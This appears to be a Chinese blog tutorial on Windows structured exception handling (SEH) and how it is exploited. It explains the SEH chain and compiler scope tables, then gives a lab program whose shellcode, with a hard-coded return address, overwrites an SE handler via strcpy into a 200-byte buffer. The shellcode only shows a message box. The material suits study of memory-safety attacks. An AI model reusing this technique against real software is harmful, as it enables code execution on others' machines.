SEH 栈溢出

 操作系统或程序在运行,难免会遇到各种各样的错误,如除零,非法内存访问,文件打开错误,内存不足,磁盘读写错误,外设操作失败。为了保证系统在遇到错误时不至于崩溃,仍能够健壮稳定地继续运行下去,windows会对运行在其中的程序提供一次补救的机会来处理错误这种机制就是异常处理机制。 S.E.H即异常处理结构体(Structure Exception Handler),它是windows异常处理机制所采用的重要数据结构,每个S.E.H包含两个DWORD指针:S.E.H链表指针和异常处理函数句柄,共8个字节,如下图

当线程初始化时,会自动向栈中安装一个异常处理结构,作为线程默认的异常处理。SEH 最基本的数据结构是保存在堆栈中的称为EXCEPTION_REGISTRATION 的结构体,结构体包括2个元素:第1个元素是指向下一个EXCEPTION_REGISTRATION 结构的指针(prev),第2个元素是指向异常处理程序的指针(handler)。这样一来,基于堆栈的异常处理程序就相互连接成一个链表。异常处理结构在堆栈中的典型分布如图1 所示。最顶端的异常处理结构通过线程控制块(TEB)0 Byte 偏移处指针标识,即FS:[0]处地址。


用于进行实际异常处理的函数原型可表示如下:

  1. EXCEPTION_DISPOSITION __cdecl _except_handler(  
  2.                 struct _EXCEPTION_RECORD *ExceptionRecord,  
  3.                 void * EstablisherFrame,  
  4.                 struct _CONTEXT *ContextRecord,  
  5.                 void * DispatcherContext  
  6.                         )  

该函数的最重要的2个参数是指向_EXCEPTION_RECORD 结构的ExceptionRecord 参数和指向_CONTEXT 结构的ContextRecord 参数,前者主要包括异常类别编码、异常发生地址等重要信息;后者主要包括异常发生时的通用寄存器、调试寄存器和指令寄存器的值等重要的线程执行环境。而用于注册异常处理函数的典型汇编代码可表示如下:

  1. PUSH handler    ; handler 是新的异常处理函s数地址  
  2. PUSH FS:[0]     ;指向原来的处理函数的地址压入栈内  
  3. MOV FS:[0],ESP  ;注册新的异常处理结构  


当异常发生时,操作系统的异常分发函数在进行初始处理后,如果异常没有被处理就会开始在上图所示的线程堆栈上遍历异常处理链,直到异常被处理,如果仍没有注册函数处理异常,则将异常交给缺省处理函数或直接结束产生异常的进程。

封装型SEH
    通过使用_try{}/_except(){}/_finally{}等关键字,使开发人员更方便地在软件中使用SEH 是封装型SEH 的主要特点。该机制的异常处理数据结构定义如下:

  1. struct VC_EXCEPTION_REGISTRATION  
  2. {    
  3.     VC_EXCEPTION_REGISTRATION* prev;  
  4.     FARPROC handler;  
  5.     scopetable_entry* scopetable; //指向scopetable 数组指针  
  6.     int _index; //在scopetable_entry 中索引  
  7.     DWORD _ebp; //当前EBP 值  
  8. }  

显而易见,结构体中后3 个成员是新增的。而scopetable_entry 的结构如下所示:

  1. struct scopetable_entry  
  2. {   
  3.     DWORD prev_entryindex; //前一scopetable_entry 的索引  
  4.     FARPROC lpfnFilter; //过滤函数地址  
  5.     FARPROC lpfnHandler; //处理异常代码地址  
  6. }  
封装型SEH 的基本思想是为每个函数内的_try{}块建立一scopetable表,每个_try{}块对应于scopetable中的一项,该项指向_try{}块对应的scopetable_entry 结构,该结构含有与_except(){}/_finally{}对应的过滤函数和处理函数。若有_try{}块嵌套,则在scopetable_entry 结构的prev_entryindex成员中指明,多层嵌套形成单向链表。而每个函数只注册一个VC_EXCEPTION_REGISTRATION 结构, 该结构中的handler 成员是一个重要的运行时库函数_except_handler3。该异常处理回调函数负责对结构中的成员进行设置,查找处理函数并根据处理结果决定是继续执行还是让系统继续遍历外层SEH 链。为了弄清看似复杂的封装型SEH 原理,此处通过分析一个简单的使用封装型SEH 的函数的反汇编实现,从而深入地了解封装型SEH 的实现过程。该函数的C 语言实现如下:

  1. void A()  
  2. {   
  3.     __try // 0 号try 块  
  4.     {  
  5.         __try // 1 号try 块  
  6.         {  
  7.             *(PDWORD)0 = 0;  
  8.         }  
  9.         __except(EXCEPTION_CONTINUE_SEARCH)  
  10.         {  
  11.             printf("Exception Handler!");  
  12.         }   
  13.     }  
  14.     __finally  
  15.     {   
  16.         puts("in finally");  
  17.     }   
  18. }  

对应该函数的序言部分反汇编代码如下:

  1. push ebp  
  2. mov ebp, esp  
  3. push -1  
  4. push offset _A_scopetable  
  5. push offset _except_handler3  
  6. mov eax, large fs:0  
  7. push eax  
  8. mov large fs:0, esp  

显而易见, 压入堆栈的结构与VC_EXCEPTION_REGISTRATION 结构是一致的。查找scopetable 的地址为0x00422048,在调试器中查找该地址起始的内容如下:

FFFFFFFF ;scopetable_entry0 的prev_entryindex 值
00000000 ;lpfnFilter 地址值,为0,对应_finally{}
004010EE ;lpfnHandler 地址值
00000000 ;scopetable_entry1 的prev_entryindex 值
004010C6 ;lpfnFilter 地址值
004010C9 ;lpfnHandler 地址值

第1 组值对应0 号try 块,而该块对应_finally{}块,所以过滤函数地址为0;第2 组值对应1 号try 块,而该块对应_except(){}块,所以有过滤函数和处理函数的地址。进一步查看0x004010EE 地址处的反汇编代码如下:

  1. PUSH OFFSET ??_C@0L@PEFD@in?5finally?$AA@; ”in finally”  
  2. CALL puts  
  3. ADD ESP,4  
  4. RETN  

显然上述语句与_finally{}块中的C 语言语句是对应的,而其他的地址经过查找也是分别对应的。在进入0 号try 块时的反汇编语句如下:

  1. MOV DWORD PTR SS:[EBP-4],0 ;对应第1 个_try 语句  
  2. MOV DWORD PTR SS:[EBP-4],1 ;对应第2 个_try 语句  
而在退出_try 块时对应的反汇编语句如下:

  1. …  
  2. MOV DWORD PTR SS:[EBP-4],0 ;退出第2 个_try 块  
  3. MOV DWORD PTR SS:[EBP-4],-1 ;退出第1 个_try 块  
  4. …  
根据异常处理的堆栈结构可知, [EBP-4] 处值就是VC_EXCEPTION_REGISTRATION 结构中_index 的值。异常处理机制在进入和退出每个_try 块前设置相应的_index 值,这样就可正确处理封装型SEH 内发生的各种异常。以上通过实例进一步验证和明确了封装型SHE 的内部机理,它只是扩展了原始型SEH 的功能,简化了软件开发人员的工作。


实验开始:


0040104F    .  64:A1 00000000 mov eax,dword ptr fs:[0]
00401055    .  50             push eax                                          //指向原来的处理函数的地址压入栈内 
00401056    .  64:8925 000000>mov dword ptr fs:[0],esp        //注册新的异常处理结构  


0012FF68   0012FFB0          指针到下一个 SEH 记录
0012FF6C   0040139C          SE 句柄                                   //这里是我们需要修改的异常函数回调函数句柄
0012FF70   004060B8          SEH.004060B8
0012FF74   00000000
0012FF78  /0012FFC0           //这里是PUSH EBP  的EBP
0012FF7C  |004010DA          返回到 SEH.004010DA 来自 SEH.00401040   这里是返回函数地址
0012FF80  |00407030          SEH.00407030
0012FF84  |00401528          返回到 SEH.<ModuleEntryPoint>+0B4 来>
0012FF88  |00000001
0012FF8C  |00340CF0
0012FF90  |00340D48
0012FF94  |00730061
0012FF98  |005C0065
0012FF9C  |7FFDF000
0012FFA0  |80000003
0012FFA4  |8043138F
0012FFA8  |0012FF94
0012FFAC  |0012FAD0
0012FFB0  |0012FFE0          指针到下一个 SEH 记录
0012FFB4  |0040139C          SE 句柄
0012FFB8  |004060C8          SEH.004060C8
0012FFBC  |00000000
0012FFC0  012FFF0
0012FFC4   77E687F5          返回到 KERNEL32.77E687F5
0012FFC8   00730061
0012FFCC   005C0065
0012FFD0   7FFDF000
0012FFD4   80000003
0012FFD8   0012FFC8
0012FFDC   0012FAD0
0012FFE0   FFFFFFFF          SEH 链尾部
0012FFE4   77E7F0B4          SE 句柄
0012FFE8   77E68EC8          KERNEL32.77E68EC8
0012FFEC   00000000
0012FFF0   00000000
0012FFF4   00000000
0012FFF8   00401474          SEH.<ModuleEntryPoint>

源码: 2000 VC 6.0 RELEASE版本

#include "stdafx.h"
#include <windows.h>

char shellcode[] = 
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90"
"x90x90"

"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8"		//168

"x90x90"
"x98xFEx12x00";

DWORD MyExceptionhandler()
{
	printf("Got an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char buf[200];
	int zero = 0;
	//__asm int 3
	__try
	{
		strcpy(buf,input);
		zero = 4/zero;
	}
	__except(MyExceptionhandler()){}
}
int main(int argc, char* argv[])
{
	test(shellcode);
	return 0;
}



原文地址:https://www.cnblogs.com/zcc1414/p/3982469.html